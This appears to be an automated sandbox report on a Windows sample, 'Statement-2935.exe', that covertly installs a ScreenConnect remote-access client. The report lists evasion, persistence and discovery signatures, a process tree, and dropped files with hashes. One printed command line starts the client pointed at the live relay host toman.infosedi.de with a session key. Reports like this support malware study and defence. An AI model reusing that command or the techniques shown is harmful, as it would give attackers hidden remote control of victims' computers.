Analysis

  • max time kernel
    108s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/06/2025, 13:21

General

  • Target
    Statement-2935.exe
  • Size 5.4MB
  • Sample250613-qlm9aadj3x
  • SHA256 af77310b15adddda32bcc40b9d013af4e4b1a842fd12035efd4b49ee1fc13718
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Statement-2935.exe
    "C:\Users\Admin\AppData\Local\Temp\Statement-2935.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3964
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\26be3f764c64fd39\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4980
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2628
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 7093E9B26F9BD3E3C819F497ABA8CE9E C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2700
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240608125 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3708
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2072
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 1FFA1D5F3CA5A012DAD705879877E646
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4900
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AB704800EF85CD59AF764764DF930D02 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4712
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:1756
    • C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=toman.infosedi.de&p=8041&s=f4fb4b9d-f304-421e-9863-5c0ec56e83b0&k=BgIAAACkAABSU0ExAAgAAAEAAQCpTpDZrpKwxM5G68UN7JMI1qTulYHEDV61eHkvWh1dheIH%2feWZPwRq3zXIwp%2bkSGFWgd1AWmVMAyp8DAMw%2bnejYU5YCSgFcmyH97BXlExDiGgvMrC1eKy29aJ2IOG5270e%2bQomXqnwLZF3fFCuLuuNUx7yG3nPq93e%2byBBmTmF3wIkZAZx1nknuU28tcPZuhCdmlgStYDWiE9mPFAJluDpXCEqhdG1ZofOnN%2fB5h45ZBbAJ25kTxxoUJJCqqtiv6wtNIVkMYHZqTTbfLGcHIsfxoZNc4mI0LggqEwia9aQudSNuIv8jFoYGusFhE1tg%2fuDzG1ixCPAStQOEzETphfK&c=June21&c=&c=&c=&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Drops file in System32 directory
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe" "RunRole" "25c32a6e-a098-43b3-a9a6-3775d63c3072" "User"
        2⤵
        • Executes dropped EXE
        PID:2208
      • C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe" "RunRole" "23bd5ce1-0188-459c-9471-bfae4db9b742" "System"
        2⤵
        • Drops file in System32 directory
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:4248

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e579a2e.rbs

          • Path C:\Config.Msi\e579a2e.rbs
          • Size 214KB
          • SHA256 ff9ec1f0eafea33c150024d3f85e63499c477eca1e10dda4b4f856cbdd54497c
          • MD5 SHA1 SHA512 SSDEEP

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\Client.Override.en-US.resources
          • Size 355B
          • SHA256 39c48937edba319ac24e50ab40bf44c08c4da11ff3b91320f4ca2f51d5d181c5
          • MD5 SHA1 SHA512

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\Client.Override.resources
          • Size 48KB
          • SHA256 7a0d118acd5f71c0f5b64879c893f3c6838de924d34d35d05d9efb23ab17bcb0
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\app.config
          • Size 1KB
          • SHA256 f4a2f6e0647e8c0dcb43982cc437ebe61c2350ca70c5fb6fc0d27d7381477b62
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (26be3f764c64fd39)\system.config
          • Size 937B
          • SHA256 495518a64a525add55443afe3c9082c200d0a89feb4a43115ac45fc694243a78
          • MD5 SHA1 SHA512

          MSI631F.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI631F.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\26be3f764c64fd39\ScreenConnect.ClientSetup.msi
          • Size 12.9MB
          • SHA256 1b8afe8f6b1091afa978c26faa3ccd15b0881c274dda9e1e0f2b8f3a4f731d45
          • MD5 SHA1 SHA512 SSDEEP

          MSI9B95.tmp

          • Path C:\Windows\Installer\MSI9B95.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 aa45aac5282372bd5eefdadebea76ff9c419038badebf5c2608825de2d2b577c
          • MD5 SHA1 SHA512 SSDEEP

          {70918a97-dec5-4d76-a858-0a3319a8aae5}_OnDiskSnapshotProp

          • Path \??\Volume{b9ba227e-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{70918a97-dec5-4d76-a858-0a3319a8aae5}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a6627b9c5de51a6b19cfae14c109268d2140dcf7d2abb036d167054e97ef38e7
          • MD5 SHA1 SHA512 SSDEEP

          memory/2208-154-0x0000000002DC0000-0x0000000002DD8000-memory.dmp

          memory/2208-149-0x0000000000BC0000-0x0000000000C58000-memory.dmp

          memory/2208-151-0x000000001BAE0000-0x000000001BB6C000-memory.dmp

          memory/2208-152-0x000000001BD20000-0x000000001BECC000-memory.dmp

          memory/2208-153-0x000000001BED0000-0x000000001C056000-memory.dmp

          memory/2208-150-0x000000001B6F0000-0x000000001B726000-memory.dmp

          memory/2208-155-0x000000001B730000-0x000000001B748000-memory.dmp

          memory/2568-104-0x0000000001CA0000-0x0000000001CB8000-memory.dmp

          memory/2568-115-0x0000000004500000-0x0000000004550000-memory.dmp

          memory/2568-124-0x00000000049D0000-0x0000000004AA5000-memory.dmp

          memory/2568-119-0x0000000004550000-0x0000000004586000-memory.dmp

          memory/2568-120-0x00000000047F0000-0x0000000004882000-memory.dmp

          memory/2568-122-0x0000000004750000-0x0000000004791000-memory.dmp

          memory/3708-41-0x0000000004FC0000-0x000000000504C000-memory.dmp

          memory/3708-45-0x0000000005200000-0x00000000053AC000-memory.dmp

          memory/3708-33-0x0000000002B90000-0x0000000002BBE000-memory.dmp

          memory/3708-37-0x0000000004F20000-0x0000000004F2A000-memory.dmp

          memory/3964-7-0x00000000069A0000-0x0000000006F44000-memory.dmp

          memory/3964-2-0x0000000006100000-0x00000000063F2000-memory.dmp

          memory/3964-1-0x0000000001D80000-0x0000000001D88000-memory.dmp

          memory/3964-6-0x0000000005E00000-0x0000000005FAC000-memory.dmp

          memory/3964-0-0x0000000074EAE000-0x0000000074EAF000-memory.dmp

          memory/3964-3-0x0000000074EA0000-0x0000000075650000-memory.dmp

          memory/3964-8-0x0000000074EA0000-0x0000000075650000-memory.dmp

          memory/3964-4-0x0000000005C60000-0x0000000005CEC000-memory.dmp

          memory/3964-5-0x00000000036D0000-0x00000000036F2000-memory.dmp

          memory/3964-13-0x0000000074EA0000-0x0000000075650000-memory.dmp

          memory/3964-10-0x0000000074EA0000-0x0000000075650000-memory.dmp

          memory/3964-9-0x0000000074EA0000-0x0000000075650000-memory.dmp